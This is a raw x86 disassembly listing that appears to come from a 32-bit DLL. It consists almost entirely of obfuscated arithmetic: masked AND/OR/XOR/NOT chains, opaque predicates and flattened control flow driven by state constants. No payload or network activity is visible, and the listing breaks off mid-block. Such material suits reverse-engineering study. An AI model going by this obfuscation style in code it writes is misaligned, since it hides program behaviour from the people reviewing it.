xor eax, 0xe0aa397b
and ecx, 0xe1a2f545
and esi, 0x1e5d0aba
or esi, ecx
xor esi, 0x1e5d0aba
or esi, eax
mov ebx, esi
not ebx
mov edx, ebx
mov eax, esi
and eax, 0xdf5f8c27
and ebx, 0x20a073d8
or ebx, eax
not ebx
or ebx, esi
and esi, 0x925870cb
and edx, 0x6da78f34
or edx, esi
mov ecx, edx
xor ecx, 0x60a60a10
xor edx, 0x12104083
and edx, 0x1f11c5a7
and ecx, 0xe0ee3a58
or ecx, edx
mov edx, ecx
xor edx, 0x1f11c5a7
mov dword [esp + 4], edx
xor ecx, 0xe0ee3a58
mov eax, ecx
mov esi, ecx
and eax, 0x20a073d8
and edx, 0xdf5f8c27
or edx, eax
mov ecx, ebp
mov eax, ebp
and ecx, 0x20a073d8
mov dword [esp + 0xc], ecx
mov ebp, edi
and ebp, 0xdf5f8c27
or ebp, ecx
not ebp
or ebp, edi
not edx
or edx, esi
mov dword [esp + 8], edx
mov edx, eax
and dword [esp + 4], eax
or edx, esi
mov dword [esp + 0x10], edx
and esi, edi
mov dword [esp + 0x14], esi
and edi, 0x8b95c91f
and eax, 0x746a36e0
or eax, edi
xor eax, 0xab35bac7
or eax, dword [esp + 0xc]
mov ecx, eax
not ecx
mov edx, ecx
xor edx, ebp
and edx, ecx
xor ebp, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0xd91ebbac
and edx, 0x26e14453
or edx, eax
mov eax, ebp
not eax
or ecx, eax
and eax, 0xd91ebbac
and ebp, 0x26e14453
or ebp, eax
xor ebp, edx
not ecx
or ecx, ebp
mov dword [esp + 0x18], ecx
mov eax, ebx
mov dword [esp], ebx
mov edi, ebx
not edi
and eax, 0x31cd7351
mov ecx, edi
and ecx, 0xce328cae
or ecx, eax
mov eax, dword [esp + 8]
mov ebp, eax
xor ebp, 0xba5d573b
and ebp, eax
mov esi, ebp
not esi
mov ebx, esi
and ebx, 0xd8263d9f
and ebp, 0x27d9c260
or ebp, ebx
mov edx, eax
not edx
or eax, 0x45a2a8c4
or esi, eax
and eax, 0xd8263d9f
mov ebx, edx
and ebx, 0x22594220
or ebx, eax
xor ebx, ebp
not esi
or esi, ebx
mov ebp, ecx
xor ebp, 0xce328cae
mov eax, ecx
xor eax, 0x746fdb95
and eax, ebp
mov ebx, eax
not ebx
mov dword [esp + 0xc], ebx
and dword [esp + 0xc], 0xc4434756
and eax, 0x3bbcb8a9
add eax, dword [esp + 0xc]
or dword [esp], 0x45a2a8c4
or ebx, dword [esp]
and dword [esp], 0xc4434756
and edi, 0x3a1c1029
add edi, dword [esp]
xor edi, eax
not ebx
or ebx, edi
mov eax, ebx
xor eax, ebx
not eax
and eax, esi
xor eax, ebx
mov esi, edx
and esi, 0x78c2bb73
mov edi, dword [esp + 8]
and edi, 0x873d448c
or edi, esi
xor ecx, 0x31cd7351
or edx, ecx
and ecx, 0x78c2bb73
and ebp, 0x873d448c
or ebp, ecx
xor ebp, edi
not edx
or edx, ebp
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x441448bf
and eax, 0xbbebb740
or eax, esi
xor eax, edx
xor eax, 0xbbebb740
or ecx, edx
not ecx
or ecx, eax
mov edi, dword [esp + 0x18]
mov eax, edi
not eax
mov edx, eax
and edx, 0x7101d5e0
mov esi, edi
and esi, 0x8efe2a1f
or esi, edx
mov edx, ecx
not edx
xor esi, edx
xor esi, 0x8efe2a1f
and esi, ecx
and edx, 0x47a5ef63
and ecx, 0xb85a109c
or ecx, edx
xor ecx, eax
xor ecx, 0xb85a109c
and ecx, edi
or ecx, esi
mov esi, dword [esp + 0x14]
or esi, dword [esp + 4]
mov edx, esi
not edx
mov eax, edx
and eax, 0x229dd2d1
and esi, 0xdd622d2e
or esi, eax
mov eax, dword [esp + 0x10]
xor esi, eax
xor esi, 0xdd622d2e
or edx, eax
not edx
or edx, esi
mov eax, edx
not eax
mov esi, eax
and esi, edx
mov edi, esi
not edi
mov ebx, edx
and ebx, 0x48e4863f
and eax, 0xb71b79c0
or eax, ebx
or edx, edi
and edi, 0x48e4863f
and esi, 0xb71b79c0
or esi, edi
xor esi, eax
not edx
or edx, esi
mov eax, edx
not eax
mov esi, ecx
xor esi, eax
and esi, ecx
xor eax, edx
and eax, ecx
xor eax, edx
mov edi, esi
not edi
mov ecx, eax
not ecx
mov edx, edi
and edx, 0x32bdb4a9
and esi, 0xcd424b56
or esi, edx
or edi, ecx
and ecx, 0x32bdb4a9
and eax, 0xcd424b56
or eax, ecx
xor eax, esi
not edi
or edi, eax
mov dword [esp], edi
mov edx, edi
not edx
mov ecx, edx
and ecx, 0xcc221094
mov eax, edi
and eax, 0x33ddef6b
or eax, ecx
mov ecx, eax
xor ecx, 0x22002201
xor eax, 0xc0221000
mov esi, edi
xor esi, 0xe3223741
and esi, edi
or eax, 0x1cddc8be
mov edi, esi
not edi
mov ebx, eax
and ebx, 0x55f4cd60
and ecx, 0xa2023201
or ecx, ebx
or eax, edi
and edi, 0x55f4cd60
and esi, 0xaa0b329f
or esi, edi
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
xor ecx, 0xc5940a6
xor eax, 0x3002340
and eax, 0x1384ab58
and ecx, 0xec7b54a7
or ecx, eax
mov edi, ecx
xor edi, 0x2c0b04a4
xor ecx, 0x1300ab18
and ecx, 0xd370fb1b
and edi, 0x2c8f04e4
or edi, ecx
mov eax, edi
xor eax, 0x4020eb0a
xor edi, 0xc0e0444
and edi, 0x9f5e1455
and eax, 0x60a1ebaa
or eax, edi
mov ebx, eax
xor ebx, 0x60a1ebaa
mov ecx, eax
xor ecx, 0x92460004
and ecx, 0x92c741ae
xor eax, 0xd06b1763
and eax, ebx
and ebx, 0x6d38be51
or ebx, ecx
mov edi, ebx
xor edi, 0x6d38be51
mov ebp, ebx
xor ebp, 0x220dbd67
and ebp, edi
mov ecx, ebp
not ecx
mov esi, ecx
and esi, 0x995e3835
and ebp, 0x66a1c7ca
or ebp, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0x995e3835
and eax, 0x66a1c7ca
or eax, esi
xor eax, ebp
not ecx
or ecx, eax
xor ecx, 0xb0cafcc9
xor ebx, 0x242002a
and ebx, 0x677aae3b
mov esi, edi
and esi, 0x988551c4
or esi, ebx
xor esi, 0x988551c4
or esi, edi
not esi
or esi, ecx
mov eax, esi
mov dword [esp + 8], esi
mov ebx, esi
mov edi, esi
not edi
mov dword [esp + 4], edi
mov ecx, edi
and ecx, 0x242b1a
and eax, 0x471a9464
or eax, ecx
mov ecx, eax
xor ecx, 0x47129464
xor eax, 0xb061239a
and eax, 0xb069239a
and ecx, 0x47169c64
or ecx, eax
mov eax, edi
or eax, 0x28231a
and eax, 0xb069239a
and ebx, 0x8804001
or ebx, eax
mov eax, esi
xor ebx, ecx
mov ecx, edi
and ecx, 0x358cf27b
and eax, 0xca730d84
or eax, ecx
mov ecx, eax
xor ecx, 0xca730d84
xor eax, 0x358cf27b
and eax, ebx
not ebx
and ecx, ebx
or eax, ecx
xor ebx, eax
and ebx, eax
mov eax, edx
and eax, 0xd5f66270
mov ebp, dword [esp]
and edx, ebp
and ebp, 0x2a099d8f
or ebp, eax
mov eax, ebp
xor eax, 0x19d02
xor ebp, 0xd5f66270
mov ecx, ebp
and ecx, 0x2a8c429d
and eax, 0xd573bd62
or eax, ecx
mov ecx, edx
not ecx
or ebp, ecx
and ecx, 0x2a8c429d
and edx, 0xd573bd62
or edx, ecx
xor edx, eax
not ebp
or ebp, edx
mov eax, ebp
xor eax, 0x473ebf7e
and eax, ebp
xor ebp, 0xb8c14081
or ebp, eax
mov eax, ebp
not eax
and eax, 0x882840da
and ebp, 0x77d7bf25
or ebp, eax
mov edi, ebx
not edi
mov eax, ebx
or eax, 0x10748444
and eax, 0x1676de74
mov ecx, edi
and ecx, 0xe0800000
or ecx, eax
mov eax, edi
or eax, 0x6025a30
and eax, 0x1676de74
mov edx, ebx
and edx, 0x909218b
or edx, eax
xor edx, ecx
mov esi, edx
mov ecx, ebp
xor ebp, 0x77d7bf25
xor ecx, 0x882840da
mov eax, ecx
mov dword [esp], ecx
and eax, 0xd470f0cd
mov edx, ebp
and edx, 0x2b8f0f32
or edx, eax
xor edx, 0x2b8f0f32
mov eax, ecx
and eax, ebp
or eax, edx
mov ecx, eax
mov dword [esp + 0x10], esi
mov edx, esi
xor edx, 0x197da5cf
mov dword [esp + 0x14], edx
mov eax, esi
xor eax, 0xe6825a30
mov dword [esp + 0xc], eax
and eax, 0x8c088408
and edx, 0x21115126
or edx, eax
mov eax, edx
xor eax, 0x20110122
or eax, 0x40660801
xor edx, 0x8c088000
and edx, 0x8d08d004
and eax, 0x60770d2b
or eax, edx
and edi, 0x10062ac0
and ebx, 0x42e00011
or ebx, edi
mov edi, ebx
xor edi, 0x2000011
or edi, 0x8c19c120
xor ebx, 0x10040280
and ebx, 0x50e40280
and edi, 0x8e1be971
or edi, ebx
mov esi, ecx
mov dword [esp + 0x18], ecx
not ecx
mov edx, ecx
mov dword [esp + 0x20], ecx
and edx, 0x473db86
and esi, 0xfb8c2479
or esi, edx
xor esi, 0x5695f157
mov edx, esi
xor edx, ecx
and edx, esi
mov dword [esp + 0x24], edx
mov ecx, dword [esp]
mov edx, ecx
and edx, 0xad19d52e
and ebp, 0x52e62ad1
or ebp, edx
xor ecx, ebp
and ecx, ebp
mov ebp, ecx
mov ecx, eax
xor ecx, 0x20
mov edx, eax
xor edx, 0x9f88f2d4
mov esi, edx
and esi, 0x295d874e
and ecx, 0x84005020
or ecx, esi
mov ebx, edi
xor ebx, 0x8e1be971
mov esi, edi
xor esi, 0x71e4168e
or esi, ebx
xor edi, 0x359d9141
and edi, esi
mov esi, ecx
xor esi, 0x1040000
or esi, 0x406801c6
xor ecx, 0x824820
and esi, 0xc16c11c6
and ecx, 0x28824820
or ecx, esi
or edx, 0x83041010
xor eax, 0x110408
and edx, 0xc36c11d6
and eax, 0x4118408
or eax, edx
xor eax, edi
xor eax, ecx
mov esi, dword [esp + 0x24]
mov edx, esi
not edx
mov ecx, ebp
not ecx
and ebp, edx
or edx, ecx
and ecx, esi
or ecx, ebp
not edx
or ecx, edx
mov edx, eax
xor edx, 0x10002000
xor eax, 0xefffdfff
mov edi, eax
and edi, 0x773b24db
mov esi, edx
and esi, 0x88c4db24
or esi, edi
mov edi, ecx
not edi
xor esi, 0x773b24db
or esi, edi
and edi, 0xb358abeb
and ecx, 0x4ca75414
or ecx, edi
xor ecx, eax
xor ecx, 0x4ca75414
and ecx, edx
mov edx, ecx
not edx
mov eax, edx
and eax, 0xc47ff705
and ecx, 0x3b8008fa
or ecx, eax
xor ecx, esi
or edx, esi
xor ecx, 0x3b8008fa
not edx
or edx, ecx
mov dword [esp], edx
mov ebp, dword [esp + 0x10]
xor ebp, 0x9958e6f8
mov edi, dword [esp + 0x14]
and ebp, edi
mov eax, dword [esp + 0xc]
and eax, 0x51b9c127
and edi, 0xae463ed8
or edi, eax
mov ecx, dword [esp + 0x18]
mov edx, ecx
xor edx, 0x80254337
and edx, ecx
mov eax, dword [esp + 0x20]
and eax, 0xd87add40
and ecx, 0x278522bf
or ecx, eax
xor ecx, 0x278522bf
mov eax, ecx
and eax, 0x80254337
or edx, eax
mov esi, edi
xor esi, 0xae463ed8
xor edi, 0xd19c8210
and edi, esi
mov eax, edi
not eax
mov ebx, eax
and ebx, 0x48ec8d2d
and edi, 0xb71372d2
or edi, ebx
mov ebx, ebp
not ebx
or eax, ebx
and ebx, 0x48ec8d2d
and ebp, 0xb71372d2
or ebp, ebx
xor ebp, edi
not eax
or eax, ebp
mov ebx, edx
xor ebx, edx
not ebx
and ebx, eax
xor ebx, edx
or ecx, esi
mov edi, ebx
not edi
mov eax, edi
and eax, 0x4a78e2a9
and ebx, 0xb5871d56
or ebx, eax
xor ebx, ecx
xor ebx, 0xb5871d56
or edi, ecx
not edi
or edi, ebx
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x5b22e4b4
and eax, edi
and edi, 0xa4dd1b4b
or edi, ecx
mov ecx, edi
xor ecx, 0xa0840a43
xor edi, 0x5b22e4b4
mov edx, edi
and edx, 0x47b51a8
and ecx, 0xfb84ae57
or ecx, edx
mov edx, eax
not edx
or edi, edx
and edx, 0x47b51a8
and eax, 0xfb84ae57
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov esi, dword [esp]
mov ebx, esi
not ebx
mov eax, ebx
and eax, 0xe928ed01
and esi, 0x16d712fe
or esi, eax
mov eax, edi
not eax
mov ecx, eax
mov dword [esp + 0xc], eax
mov eax, edi
xor eax, 0xbb544594
and eax, ecx
mov ebp, edi
and ebp, 0x44abba6b
or ebp, eax
mov eax, esi
xor eax, 0x16d712fe
mov dword [esp + 0x10], eax
mov edx, esi
xor edx, 0x527ca895
and edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xc4c4b1d2
and edx, 0x3b3b4e2d
or edx, ecx
or ebx, 0xbb544594
or eax, ebx
and ebx, 0xc4c4b1d2
mov ecx, dword [esp]
and ecx, 0x2b0a29
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov edx, ebp
xor edx, ebp
not edx
and edx, eax
xor edx, ebp
xor esi, 0xe928ed01
mov eax, esi
and eax, 0xe106f731
mov ecx, dword [esp + 0x10]
and ecx, 0x1ef908ce
or ecx, eax
or esi, edi
and edi, 0xe106f731
mov eax, dword [esp + 0xc]
and eax, 0x1ef908ce
or eax, edi
mov ebp, dword [esp + 8]
mov edi, ebp
xor eax, ecx
not esi
or esi, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x774972fa
and edx, 0x88b68d05
or edx, ecx
xor edx, esi
xor edx, 0x88b68d05
or eax, esi
not eax
or eax, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x2343e06
mov esi, eax
and esi, 0xfdcbc1f9
or esi, ecx
xor esi, 0xbaf57e86
and eax, 0xb8c14080
or esi, eax
mov ecx, edx
and ecx, 0x473ebf7f
or ecx, eax
xor edx, ecx
and edx, ecx
mov eax, edx
not eax
mov ecx, esi
or ecx, eax
and eax, 0xce979fde
and edx, 0x31686021
or edx, eax
xor edx, esi
mov ebx, edx
xor ebx, 0x31686021
xor edx, 0xce979fde
mov eax, edx
and eax, 0x5a3219d7
and ebx, 0xa5cde628
or ebx, eax
mov eax, ebp
mov esi, ebp
xor esi, 1
and esi, ebp
xor ebx, ecx
xor ebx, 0xa5cde628
or edx, ecx
not edx
or edx, ebx
mov ebx, dword [esp + 4]
mov ecx, ebx
and ecx, 0x240d2749
and edi, 0xdbf2d8b6
or edi, ecx
xor edi, 0xdbf2d8b7
xor ebx, edi
and ebx, edi
or eax, 0xfffffffe
mov ecx, eax
not ecx
mov edi, esi
not edi
or eax, edi
and edi, 0x6a2ed7ca
and esi, 0x95d12835
or esi, edi
or ecx, 0x6a2ed7ca
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov esi, ebx
xor esi, ecx
and esi, ebx
and ecx, 0xe53c2599
and eax, 0x1ac3da66
or eax, ecx
xor eax, ebx
xor eax, 0xe53c2599
or eax, esi
mov edi, eax
not edi
mov ecx, eax
and ecx, 0xf3ae7a1c
mov ebx, edi
and ebx, 0xc5185e3
or ebx, ecx
mov esi, ebx
xor esi, 0x20
xor ebx, 0x802000
and ebx, 0x4802402
and esi, 0x8106082c
or esi, ebx
mov ecx, esi
xor ecx, 0x8106082c
xor esi, 0x20718312
and edi, 0x9a7081a6
and eax, 0x658f7e59
or eax, edi
mov edi, eax
xor edi, 0x658f7e59
xor eax, 0x924000a0
and eax, 0xd7c940a8
mov ebx, edi
and ebx, 0x2836bf57
or ebx, eax
xor ebx, 0x524f6c86
and edi, 0x85862c2e
or edi, ebx
mov eax, ecx
xor eax, edi
and eax, ecx
and esi, 0xa0718b3a
and ecx, 0x5862404
or ecx, esi
xor ecx, edi
xor ecx, 0x5f8e74c5
or ecx, eax
mov eax, ecx
xor eax, 0x7a79d3d1
mov esi, ecx
xor esi, 0x85862c2e
mov edi, esi
and edi, 0x7e29b2d1
xor ecx, 0x4506100
and ecx, eax
or ecx, edi
mov edi, ecx
xor edi, 0x2e010050
xor ecx, 0x81d64d2e
mov ebx, ecx
and ebx, 0x50e8b7a5
and edi, 0xaf17485a
or edi, ebx
and eax, 0x50e8b7a5
and esi, 0xaf17485a
or esi, eax
xor esi, edi
not esi
or esi, ecx
mov ebx, esi
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xa2914f60
mov esi, edx
and esi, 0x5d6eb09f
or esi, ecx
mov ecx, esi
xor ecx, 0x5d6eb09f
mov dword [esp + 4], ecx
xor esi, 0xa2914f60
and ecx, 0xbfd7fe9f
mov edi, esi
mov dword [esp + 8], esi
and edi, 0x40280160
or edi, ecx
xor edi, 0xecbcbef0
and esi, 0x536b406f
or esi, edi
mov dword [esp + 0x10], esi
and eax, 0xfefb900e
and edx, 0x1046ff1
or edx, eax
mov esi, edx
xor esi, 0x1046ff1
xor edx, 0xb8c30002
and edx, 0xb8c346e3
mov eax, esi
and eax, 0x473cb91c
or eax, edx
mov dword [esp + 0xc], ebx
mov ecx, ebx
not ecx
xor eax, 0x1457f973
and esi, 0xac94bf90
or esi, eax
mov eax, ecx
mov dword [esp], ecx
and eax, 0x536b406f
mov ebp, ebx
and ebp, 0xac94bf90
or ebp, eax
mov eax, ebx
and eax, 0x55154779
and ecx, 0xaaeab886
or ecx, eax
xor ecx, 0xf981f8e9
mov edx, ecx
xor edx, ebx
and edx, ecx
mov eax, esi
not eax
mov edi, esi
xor edi, 0xa34f0cbc
and edi, esi
and eax, 0xa34f0cbc
or eax, edi
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x10]
or esi, eax
mov edi, eax
mov ebx, eax
not eax
xor edi, 0xa34f0cbc
and edi, eax
or eax, 0xa34f0cbc
mov ecx, eax
and ecx, 0xd515e529
and ebx, 0x8a01242
or ebx, ecx
mov ecx, edi
not ecx
or eax, ecx
and ecx, 0xd515e529
and edi, 0x2aea1ad6
or edi, ecx
xor edi, ebx
not eax
or eax, edi
xor eax, dword [esp + 0x14]
not esi
or esi, eax
not ebp
or ebp, dword [esp]
mov eax, edx
not eax
xor edx, eax
and edx, ebp
or ebp, eax
xor edx, eax
not ebp
or edx, ebp
mov eax, edx
not eax
and eax, edx
xor edx, 0xd3b7a823
xor esi, 0xd3b7a823
xor eax, edx
mov ebx, eax
xor ebx, eax
not ebx
and ebx, esi
xor ebx, eax
mov esi, dword [esp + 8]
mov eax, esi
and eax, 0xc744d284
mov ebp, dword [esp + 4]
mov ecx, ebp
and ecx, 0x38bb2d7b
or ecx, eax
mov edi, ecx
xor edi, 0x38bb2d7b
xor ecx, 0x80fcc40a
and ecx, edi
mov eax, ecx
not eax
mov edx, eax
and edx, 0x9cb9003a
and ecx, 0x6346ffc5
or ecx, edx
mov edx, esi
or edx, 0x47b8168e
or eax, edx
and edx, 0x9cb9003a
mov esi, edx
mov edx, ebp
and edx, 0x2046e941
or edx, esi
xor edx, ecx
mov esi, dword [esp + 0xc]
mov ecx, esi
xor ecx, 0x47b8168e
and ecx, esi
or esi, 0xb847e971
not eax
or eax, edx
mov ebp, esi
and ebp, 0x620e966a
mov edx, dword [esp]
or edi, edx
and edx, 0x5b00084
or edx, ebp
mov ebp, ecx
not ebp
or esi, ebp
and ebp, 0x620e966a
and ecx, 0x9df16995
or ecx, ebp
xor ecx, edx
not esi
or esi, ecx
mov ecx, esi
xor ecx, esi
not ecx
and ecx, eax
xor ecx, esi
mov eax, ecx
not eax
mov edx, eax
and edx, 0xbdc3d04d
and ecx, 0x423c2fb2
or ecx, edx
xor ecx, edi
xor ecx, 0x423c2fb2
or eax, edi
not eax
or eax, ecx
mov ecx, ebx
xor ecx, 0x57822b0
mov edx, ecx
and ecx, ebx
not ebx
and edx, ebx
mov esi, eax
not esi
and esi, eax
or ebx, eax
xor eax, 0xfa87dd4f
mov edi, edx
not edi
mov ebp, edi
and ebp, 0x7c1b5d02
and edx, 0x83e4a2fd
or edx, ebp
mov ebp, ecx
not ebp
or edi, ebp
and ebp, 0x7c1b5d02
and ecx, 0x83e4a2fd
or ecx, ebp
xor ecx, edx
not edi
or edi, ecx
xor esi, eax
xor esi, edi
mov edx, esi
not edx
mov eax, edx
and eax, 0x79e37fb2
and esi, 0x861c804d
or esi, eax
xor esi, ebx
xor esi, 0x861c804d
or edx, ebx
not edx
or edx, esi
mov ecx, edx
not ecx
mov eax, ecx
mov edi, ecx
mov dword [esp], ecx
and eax, edx
mov dword [esp + 4], edx
mov ebp, edx
mov ecx, edx
and edx, 0x9b058923
mov esi, edi
and esi, 0x64fa76dc
or esi, edx
mov edx, eax
not edx
or ebp, edx
and edx, 0x9b058923
and eax, 0x64fa76dc
or eax, edx
xor eax, esi
not ebp
or ebp, eax
mov eax, ebp
not eax
mov edx, eax
mov dword [esp + 0x10], eax
mov eax, edi
and eax, 0xf2de1b4a
and ecx, 0xd21e4b5
or ecx, eax
mov eax, ecx
xor eax, 0xd21e4b5
xor ecx, 0x92d40208
and ecx, 0x9bf4069d
mov edi, eax
and edi, 0x640bf962
or edi, ecx
xor edi, 0x640bf962
or edi, eax
mov eax, edx
and eax, 0x52631f15
mov esi, ebp
and esi, 0xad9ce0ea
or esi, eax
mov eax, edi
not eax
mov edx, eax
mov dword [esp + 8], eax
mov eax, edi
and eax, 0x8e857fde
mov ecx, edi
xor ecx, 0x717a8021
and ecx, edx
or ecx, eax
mov eax, esi
xor eax, 0xad9ce0ea
mov dword [esp + 0xc], eax
mov edx, esi
xor edx, 0xdce660cb
and edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xaebad576
and edx, 0x51452a89
or edx, ebx
mov ebx, dword [esp + 0x10]
or ebx, 0x8e857fde
or eax, ebx
and ebx, 0xaebad576
and ebp, 0x51400001
or ebp, ebx
xor ebp, edx
not eax
or eax, ebp
mov edx, ecx
xor edx, ecx
not edx
and edx, eax
xor edx, ecx
xor esi, 0x52631f15
mov eax, esi
and eax, 0x3dc16603
mov ecx, dword [esp + 0xc]
and ecx, 0xc23e99fc
or ecx, eax
mov eax, dword [esp + 8]
or esi, eax
and eax, 0x3dc16603
and edi, 0xc23e99fc
or edi, eax
xor edi, ecx
not esi
or esi, edi
not esi
or esi, edx
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x8840510
mov edx, esi
and edx, 0xd1612260
or edx, ecx
mov ecx, edx
xor ecx, 0xc0012240
xor edx, 0x20865012
or eax, 0x11e40030
and edx, 0x31e65032
and ecx, 0xc8012740
or ecx, edx
and eax, 0x31e65032
and esi, 0x618888d
or esi, eax
xor esi, ecx
mov edi, esi
mov ebx, esi
xor ebx, 0xd9e52770
xor esi, 0x5ee21e86
and esi, ebx
mov ebp, esi
not ebp
mov eax, ebp
and eax, 0x205f716b
and esi, 0xdfa08e94
or esi, eax
mov ecx, dword [esp + 4]
mov eax, ecx
xor eax, 0x1067c686
and eax, ecx
xor edi, 0x261ad88f
or ebx, 0x78f8c609
or ebp, ebx
and ebx, 0x205f716b
and edi, 0x87000894
or edi, ebx
xor edi, esi
not ebp
or ebp, edi
mov esi, ebp
xor esi, 0x38204401
xor ebp, 0x30419d6
and ebp, 0x43dc9bde
and esi, 0xbc236421
or esi, ebp
mov edi, esi
xor edi, 0x43dc9bde
mov edx, esi
xor edx, 0xb0220000
xor esi, 0xb3269b82
and esi, edi
or edx, esi
not esi
and esi, 0xf05ffa3
and edx, 0xf0fa005c
or edx, esi
mov ebx, edx
mov edi, edx
not edi
mov esi, dword [esp]
and esi, 0x48602
and ecx, 0x10634084
or ecx, esi
mov esi, ecx
xor esi, 0x10430080
xor ecx, 0xef9cbf7b
mov ebp, ecx
and ebp, 0x2a204b14
and esi, 0x10478482
or esi, ebp
mov ebp, eax
not ebp
or ecx, ebp
and ebp, 0x2a204b14
and eax, 0xd5dfb4eb
or eax, ebp
xor eax, esi
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0xef983979
xor ecx, 0x1067c686
mov esi, ecx
and esi, 0xf5c78c0e
mov ebp, eax
and ebp, 0xa3873f1
or ebp, esi
mov esi, ecx
and esi, 0xeb1ad3d8
and eax, 0x14e52c27
or eax, esi
mov esi, ebp
xor esi, 0x202021
xor ebp, 0xf5c78c0e
or ecx, ebp
and ebp, 0xeb1ad3d8
and esi, 0x14e52c27
or esi, ebp
xor esi, eax
not ecx
or ecx, esi
mov eax, ecx
not eax
mov esi, eax
and esi, ecx
mov ebp, ecx
and ebp, 0x2142b2d8
and eax, 0xdebd4d27
or eax, ebp
mov ebp, esi
not ebp
or ecx, ebp
and ebp, 0x2142b2d8
and esi, 0xdebd4d27
or esi, ebp
xor esi, eax
not ecx
or ecx, esi
mov esi, ecx
not esi
and ebx, 0x5ef0c28b
mov eax, edi
and eax, 0xa10f3d74
or eax, ebx
mov ebx, ecx
and ebx, 0x5ef0c28b
mov ebp, esi
and ebp, 0xa10f3d74
or ebp, ebx
xor ebp, eax
mov ebx, edx
xor ebx, 0xf6089017
and ebx, edx
or edx, ecx
not edx
or edx, ebp
mov eax, edx
not eax
and edi, 0xf6089017
or ebx, edi
and esi, 0xf6089017
and ecx, 0x9f76fe8
or ecx, esi
xor ecx, ebx
mov edi, ecx
not edi
mov esi, eax
xor esi, edi
and esi, eax
and edx, 0x725c1b6b
and eax, 0x8da3e494
or eax, edx
and edi, 0x725c1b6b
and ecx, 0x8da3e494
or ecx, edi
xor ecx, eax
mov eax, esi
not eax
mov edx, ecx
not edx
mov edi, eax
and edi, 0x5de262ba
and esi, 0xa21d9d45
or esi, edi
or eax, edx
and edx, 0x5de262ba
and ecx, 0xa21d9d45
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xbcae8373
mov edi, eax
and edi, 0x43517c8c
or edi, edx
mov esi, edi
xor esi, 0x512404
xor edi, 0x90a28023
and edi, 0xd3a2d8ab
and esi, 0x2c5d2754
or esi, edi
mov edx, esi
xor edx, 0xc140740
xor esi, 0xc28090aa
and esi, 0xe2c9b0be
and edx, 0x1d364f41
or edx, esi
mov esi, edx
xor esi, 0xe2c9b0be
xor edx, 0x1d364f41
and edx, esi
mov esi, ecx
and esi, 0x2a2840df
mov edi, eax
and edi, 0xd5d7bf20
or edi, esi
xor edi, 0xd5d7bf20
or edi, ecx
mov ebx, edx
not ebx
mov esi, ebx
or esi, edi
and ebx, 0xcc8e0e67
and edx, 0x3371f198
or edx, ebx
xor edx, edi
mov edi, edx
xor edi, 0x3371f198
xor edx, 0xcc8e0e67
mov ebx, edx
and ebx, 0xf1e79e1e
and edi, 0xe1861e1
or edi, ebx
xor edi, esi
or edx, esi
xor edi, 0xe1861e1
not edx
or edx, edi
mov esi, ecx
and esi, 0xf93a31f4
and ecx, eax
and eax, 0x6c5ce0b
or eax, esi
xor eax, 0x6c5ce0b
or eax, ecx
mov esi, eax
not esi
mov ecx, edx
or ecx, esi
and esi, 0x6abc56f
and eax, 0xf9543a90
or eax, esi
not ecx
xor eax, edx
xor eax, 0xf9543a90
or eax, ecx
not eax
test eax, eax
setne al
cmp dword [0x1004f90c], 0xa
setge cl
mov ch, al
or ch, cl
xor ch, 1
xor al, cl
mov edx, eax
xor dl, 1
mov ah, dl
and ah, cl
or ah, ch
xor ah, 1
mov ch, cl
xor ch, ah
or ah, cl
xor ah, 1
or ah, ch
xor ah, 1
or ah, ch
mov ch, ah
xor ch, 1
mov cl, ch
and cl, ah
xor ch, cl
xor cl, 1
or cl, ah
xor cl, 1
or cl, ch
mov ch, cl
xor ch, 1
mov ah, cl
or ah, al
xor al, ch
mov dh, al
xor dh, ah
or al, ah
xor al, 1
or al, dh
mov ah, cl
or ah, dl
xor cl, dl
or cl, ch
mov edx, ecx
xor dl, 1
mov ch, cl
and ch, dl
xor ch, 1
mov dh, dl
xor dh, ch
or ch, dl
xor ch, 1
or ch, dh
mov dh, ah
xor dh, 1
and dh, ch
xor ch, 1
and ch, ah
or cl, ah
mov dl, al
xor dl, 1
xor cl, 1
or cl, dh
or cl, ch
mov ch, cl
xor ch, 1
xor al, ch
mov ah, dl
or ah, cl
xor ah, 1
or ah, al
xor ah, 1
or ch, dl
xor ch, 1
xor cl, dl
and cl, dl
or cl, ch
mov al, ah
xor al, cl
or cl, ah
xor cl, 1
or cl, al
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x3a794c0
mov esi, 0xbcd75999
cmovne edx, esi
test cl, 1
mov edi, 0x3a794c0
cmovne edi, edx
test al, 1
cmove edi, edx
jmp 0x10011930
cmp byte [esp + 0x36], 0
mov edi, 0x4d213096
mov eax, 0xed49b243
cmovne edi, eax
jmp 0x10011930
mov eax, dword [0x1004f908]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
mov esi, ecx
mov dword [esp + 4], ecx
and eax, 0xc06ed565
mov ecx, edx
mov dword [esp + 8], edx
and ecx, 0x3f912a9a
or ecx, eax
mov eax, ecx
xor eax, 0x8064d440
xor ecx, 0x14000008
and ecx, 0x540a012d
and eax, 0xabf5fed2
or eax, ecx
mov ebx, eax
xor ebx, 0x9104400
xor eax, 0x40000000
and eax, 0x40810200
and ebx, 0xd184408
or ebx, eax
mov edi, ebx
xor edi, 0xd184408
xor ebx, 0x5040bbd6
mov eax, edx
and eax, 0x7b35bcf3
mov ecx, esi
and ecx, 0x84ca430c
or ecx, eax
xor ecx, 0x36acfafb
mov esi, ecx
xor esi, edx
and esi, ecx
and ebx, 0x5850bfd6
mov edx, edi
and edx, 0x5894008
or edx, ebx
mov ebx, edx
xor ebx, 0xa7af4029
mov eax, ebx
and eax, 0x382e6d2
